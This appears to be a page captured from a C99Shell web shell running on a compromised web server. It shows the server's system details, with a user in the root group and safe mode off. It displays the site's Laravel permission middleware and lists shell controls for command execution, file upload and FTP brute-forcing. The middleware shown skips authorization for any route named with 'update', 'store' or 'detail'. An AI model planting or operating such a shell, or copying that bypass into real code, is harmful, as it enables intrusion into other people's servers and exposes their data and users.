!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smab.picotech.app/public_html/app/Http/Middleware/   drwxr-xr-x
Free 29.4 GB of 117.98 GB (24.92%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     checkPermissionMiddleware.php (1.22 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Middleware;

use 
Closure;
use 
Illuminate\Support\Facades\Auth;
use 
Illuminate\Support\Facades\Route;

class 
checkPermissionMiddleware
{
    
/**
     * Handle an incoming request.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  \Closure  $next
     * @return mixed
     */
    
public function handle($requestClosure $next)
    {

        
$currentRouteName Route::currentRouteName();

        if(
stristr($currentRouteName,'update') || stristr($currentRouteName,'store') || stristr($currentRouteName,'detail') )
            return 
$next($request);

        if(
$currentRouteName=='banner.promotional'){
            return 
$next($request);
        }
          if(
$currentRouteName=='faq' || $currentRouteName=='faq.add' || $currentRouteName=='faq.edit' || $currentRouteName=='faq.update' || $currentRouteName=='faq.delete'){
            return 
$next($request);
        }


        if(
Auth::user()->hasPermissionTo($currentRouteName) ){
          return 
$next($request);
        }
        else {
           return 
redirect('admin/unauthorize')->with('error','Permission Denied!');
        }
        return 
$next($request);
//        return redirect()->back()->with('error','Permission Denied!');
    
}
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0031 ]--